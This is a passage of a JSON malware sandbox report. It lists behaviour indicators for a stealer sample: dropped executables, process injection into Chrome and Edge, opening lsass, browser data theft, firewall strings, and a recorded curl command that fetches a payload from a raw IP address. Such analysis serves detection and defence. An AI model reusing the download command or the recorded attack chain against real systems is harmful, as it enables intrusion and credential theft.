00000000-00004512.00000000.274160.0A840000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"file\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"file\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; File: \"file\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"uzbektajik.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\NETSH.EXE\"; Value: \"991B28BFC75DDD010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"May contain SSL certificate","description":"$71","origin":"File/Memory","mitre_attack_id":"T1588.004","relevance":1,"id":"string-574","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"file.exe\" opened \"\\Device\\KsecDD\"\n \"curl.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"tasklist.exe\" opened \"\\Device\\KsecDD\"\n \"whoami.exe\" opened \"\\Device\\KsecDD\"\n \"chrome.exe\" opened \"\\Device\\KsecDD\"\n \"msedge.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$72","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\NETSH.EXE\"; Value: \"991B28BFC75DDD010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Out-String\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,lsass.exe,svchost.exe\" (Source: \"00000000-00004512.00000001.275141.08EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"file\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"helper.exe\" has type \"PE32+ executable for MS Windows 6.00 (console) x86-64 5 sections\"- Location: [%TEMP%\\rxinj_1792193633892748900\\helper.exe]- [targetUID: 00000000-00006976]\n \"lss.exe\" has type \"PE32+ executable for MS Windows 6.00 (console) x86-64 4 sections\"- Location: [%TEMP%\\rxlss_1792194023545449700\\lss.exe]- [targetUID: 00000000-00006976]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"itsub.exe\" - Location: [%APPDATA%\\itsub.exe]- [targetUID: 00000000-00006548]\n Dropped file: \"uzbektajik.exe\" - Location: [%APPDATA%\\uzbektajik.exe]- [targetUID: 00000000-00006548]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"$73","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"WWAHost.exe.mui\" (Indicator: \"wwahost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"file\" has section name .rdata with entropy \"7.771760346032096\"\n \"uzbektajik.exe\" has section name .rdata with entropy \"7.477630265847837\"\n \"helper.exe\" has section name .text with entropy \"7.828368426383355\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"5/27 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"file.exe\" called \"OpenSCManagerA\" requesting access rights \"SC_MANAGER_ALL_ACCESS\" (0xf003f)","origin":"API Call","mitre_attack_id":"T1569.002","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"General","name":"PE file with no import directory","description":"\"lss.exe\" has no \"IMAGE_DIRECTORY_ENTRY_IMPORT\"","origin":"Static Parser","relevance":5,"id":"static-90","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"General","name":"References URL in command line","description":"Process \"curl.exe\" with commandline \"-s -L --connect-timeout 10 --max-time 120 --retry 1 -A Microsoft-Symbol-Server/10.1700.661.0 -o \"%TEMP%\\\\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb\" \"https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/7C6B3934E36B4ED89EA9374957EDEAC41/ntkrnlmp.pdb\"\" (UID: 00000000-00004788)\n Process \"curl.exe\" with commandline \"-s -L --connect-timeout 10 --max-time 120 -o \"%APPDATA%\\\\jy1gj29sb6l8\" \"http://107.175.82.242:9000/wilow/uzbektajik.bin\"\" (UID: 00000000-00004988)","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":1,"id":"target-174","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"file.exe\" called \"OpenServiceA\" to access the \"ls3y5svyt\" service requesting \"SERVICE_ALL_ACCESS\" (0XF01FF) access rights","origin":"API Call","mitre_attack_id":"T1007","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"itsub.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\"- Location: [%APPDATA%\\itsub.exe]- [targetUID: 00000000-00006548]\n \"uzbektajik.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 5 sections\"- Location: [%APPDATA%\\uzbektajik.exe]- [targetUID: 00000000-00006548]\n \"helper.exe\" has type \"PE32+ executable for MS Windows 6.00 (console) x86-64 5 sections\"- Location: [%TEMP%\\rxinj_1792193633892748900\\helper.exe]- [targetUID: 00000000-00006976]\n \"lss.exe\" has type \"PE32+ executable for MS Windows 6.00 (console) x86-64 4 sections\"- Location: [%TEMP%\\rxlss_1792194023545449700\\lss.exe]- [targetUID: 00000000-00006976]\n \"jep0nmpc32hk.sys\" has type \"PE32+ executable for MS Windows 5.02 (native) x86-64 7 sections\"- Location: [%WINDIR%\\Temp\\jep0nmpc32hk.sys]- [targetUID: 00000000-00006548]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$74","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 57.150.53.97 on port 443 is sent without HTTP header\n TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$75","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"file.exe\" marked \"C:\\Windows\\Temp\\jep0nmpc32hk.sys\" for deletion\n \"file.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\jy1gj29sb6l8\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rirslpmq.mxv.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_wydkxvdt.wq2.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_z4ziqcw5.rq2.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_n35kqa44.rlb.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"file.exe\" opened \"C:\\Windows\\Temp\\jep0nmpc32hk.sys\" with delete access\n \"file.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\jy1gj29sb6l8\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rirslpmq.mxv.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_wydkxvdt.wq2.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_z4ziqcw5.rq2.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_n35kqa44.rlb.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"System Security","name":"Able to modify firewall settings","description":"Found string \"netsh advfirewall\" (Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found string \"netsh firewall\" (Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1686","relevance":1,"id":"string-676","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"System Security","name":"Calls an API typically used to stop a service","description":"\"file.exe\" called \"ControlService\" with SERVICE_CONTROL_STOP access on service handle 2b5a24ec9f0","origin":"API Call","mitre_attack_id":"T1489","relevance":10,"id":"api-277","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtFreeVirtualMemory@ntdll.dll at 59498-318-0000000140016490\n NtAllocateVirtualMemory@ntdll.dll at 59498-319-0000000140016480","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCreateKeyExA\n DeleteFileA\n GetModuleFileNameW\n Sleep\n GetModuleFileNameA\n LoadLibraryA\n VirtualProtect\n GetSystemDirectoryA\n GetProcAddress\n CreateFileA\n GetFileSize\n GetTempPathA\n GetModuleHandleA\n LoadLibraryExA\n GetTickCount\n WriteFile\n GetFileAttributesA\n WNetOpenEnumA\n IsDebuggerPresent\n UnhandledExceptionFilter\n RegOpenKeyExW\n RegCloseKey\n SleepEx\n GetTempPathW\n GetSystemDirectoryW\n WriteFileEx\n CreateFileW\n FindFirstFileExW\n GetFileAttributesW\n TerminateProcess\n CreateDirectoryW\n CopyFileExW\n DeleteFileW\n FindNextFileW\n CreateThread\n CreateProcessW\n GetModuleHandleW\n connect\n bind\n WSASend\n send\n WSAStartup\n closesocket\n WSASocketW\n recv\n GetCommandLineW\n CreateFile2\n ConnectNamedPipe\n LoadLibraryExW\n FindFirstFileW\n GetModuleHandleExW\n GetFileSizeEx\n GetStartupInfoW\n GetCommandLineA\n GetFileAttributesExW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"file\" claims program is from Sat Sep 15 09:54:29 1979","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"helper.exe\" called \"CreateProcessW\" with parameter \"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe\" - (UID: 00000000-00006700)\n \"helper.exe\" called \"CreateProcessW\" with parameter \"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" - (UID: 00000000-00006700)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"malicious","category":"Environment Awareness","name":"Tries to gather information about running processes on a system","description":"Process \"tasklist.exe\" with commandline \"\"tasklist\"\" (UID: 00000000-00004512)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-136","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$76","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Opens a handle of credential dumping utility","description":"\"lss.exe\" opens a process \"C:\\Windows\\System32\\lsass.exe\" (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-300","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to gather system network configuration using IPCONFIG","description":"Process \"ipconfig.exe\" with commandline \"\"ipconfig\" /all\" (UID: 00000000-00004124)\n Process \"ipconfig.exe\" with commandline \"\"ipconfig\" /all\" (UID: 00000000-00002240)\n Process \"ipconfig.exe\" with commandline \"\"ipconfig\" /all\" (UID: 00000000-00007240)","origin":"Monitored Target","mitre_attack_id":"T1016","relevance":5,"id":"target-137","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$77","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$78","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Found browser information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Attempts to identify external IP address"},{"detail":"Queries the logged on user, group or privileges using Whoami"},{"detail":"Tries to gather information about running processes on a system"},{"detail":"Tries to gather system network configuration using IPCONFIG"},{"detail":"Retrieves system network configuration using netsh utility"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping multiple times"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}],"intel_graph":{"map":{"Domain:ip-api.com":{"type":"Domain","value":"ip-api.com"},"Domain:vsblobprodscussu5shard21.blob.core.windows.net":{"type":"Domain","value":"vsblobprodscussu5shard21.blob.core.windows.net"},"File:00e11f43a3989e0db3f7ceaa2e9841a24cc081ca4435d154c4914e994953ab2d":{"type":"File","value":"00e11f43a3989e0db3f7ceaa2e9841a24cc081ca4435d154c4914e994953ab2d"},"File:016696e406cdd0693c530218bf13e13708621a95a60b1a014bad8d250cf9beba":{"type":"File","value":"016696e406cdd0693c530218bf13e13708621a95a60b1a014bad8d250cf9beba"},"File:085668b60759584fd20e315a814536a312ccfb911f98cfe7cedd2f32e8c87002":{"type":"File","value":"085668b60759584fd20e315a814536a312ccfb911f98cfe7cedd2f32e8c87002"},"File:1aef7598d8328bf9a2a5f690add3b8158c4f35b7612d95921efb69c12d7b74aa":{"type":"File","value":"1aef7598d8328bf9a2a5f690add3b8158c4f35b7612d95921efb69c12d7b74aa"},"File:22441b8dd33b0e34ddd1ea4b27fd15e9e8a72559195c82cc47f76ac0fc0ef0f2":{"type":"File","value":"22441b8dd33b0e34ddd1ea4b27fd15e9e8a72559195c82cc47f76ac0fc0ef0f2"},"File:54eb581049d0a323f46c69ffa26d1108a76a3de8013e979d1cdd28a605a85257":{"type":"File","value":"54eb581049d0a323f46c69ffa26d1108a76a3de8013e979d1cdd28a605a85257"},"File:554d42dde26b76bf8a11b46f70449aea5df186b77cfc189e387a3bb9a3ac6905":{"type":"File","value":"554d42dde26b76bf8a11b46f70449aea5df186b77cfc189e387a3bb9a3ac6905"},"File:61747a3ea8e4d962cf8a3236434807def62837b93656f6c8661b0b92b78fd4f7":{"type":"File","value":"61747a3ea8e4d962cf8a3236434807def62837b93656f6c8661b0b92b78fd4f7"},"File:657ec644aa1c2c3fda4625d5f9c8bdc9cd1520180069a42658af1e98eb4dd8b1":{"type":"File","value":"657ec644aa1c2c3fda4625d5f9c8bdc9cd1520180069a42658af1e98eb4dd8b1"},"File:6da8e2fb26932a6c9ef94d1234eb8852e16ca865601bae933d59836ffe06bc9b":{"type":"File","value":"6da8e2fb26932a6c9ef94d1234eb8852e16ca865601bae933d59836ffe06bc9b"},"File:7de605c1cd4ca867d5777e3f9cf848ee46a2bb66f80020e3f591426e6346074e":{"type":"File","value":"7de605c1cd4ca867d5777e3f9cf848ee46a2bb66f80020e3f591426e6346074e"},"File:7e7df0e30b6aba8637fb58db0a2e7a876890b872f0d0b313424d46c9299580e8":{"type":"File","value":"7e7df0e30b6aba8637fb58db0a2e7a876890b872f0d0b313424d46c9299580e8"},"File:819701b897feb6811acbaa357dbeb2d9c22c34756a8f230c792aac828a493bc3":{"type":"File","value":"819701b897feb6811acbaa357dbeb2d9c22c34756a8f230c792aac828a493bc3"},"File:95b6cbcfa3d138ba741f735e46ffcefe670bed5e3bb8d0a3f66842271a1caf0e":{"type":"File","value":"95b6cbcfa3d138ba741f735e46ffcefe670bed5e3bb8d0a3f66842271a1caf0e"},"File:97612de5df5c3d17fb43ae88f0e2df2356e586061fa84e0aa86cda86684be494":{"type":"File","value":"97612de5df5c3d17fb43ae88f0e2df2356e586061fa84e0aa86cda86684be494"},"File:b1c1bd8beb58ecae47f240d418cc6b83fc7fb8f9d5f8b6ead4e7d6cbb0418741":{"type":"File","value":"b1c1bd8beb58ecae47f240d418cc6b83fc7fb8f9d5f8b6ead4e7d6cbb0418741"},"File:b5700215c113a5fc98b0b4fba2775a2f1f464428ad7153878b9e00db2c23514a":{"type":"File","value":"b5700215c113a5fc98b0b4fba2775a2f1f464428ad7153878b9e00db2c23514a"},"File:b81e925864fb93b34e645180f99129c81d3630e5e02ec14b8c51b46c502f6a7a":{"type":"File","value":"b81e925864fb93b34e645180f99129c81d3630e5e02ec14b8c51b46c502f6a7a"},"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957":{"type":"File","value":"ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957"},"File:e27b7d9316378ccf8ec771bd0ba0eb6f049d0a776916844fb2d14983cfa9e30a":{"type":"File","value":"e27b7d9316378ccf8ec771bd0ba0eb6f049d0a776916844fb2d14983cfa9e30a"},"File:f94b5b36f67ae8cdcda77bc213f7b3ebbd064d68f62b1b312694b559d6ce0214":{"type":"File","value":"f94b5b36f67ae8cdc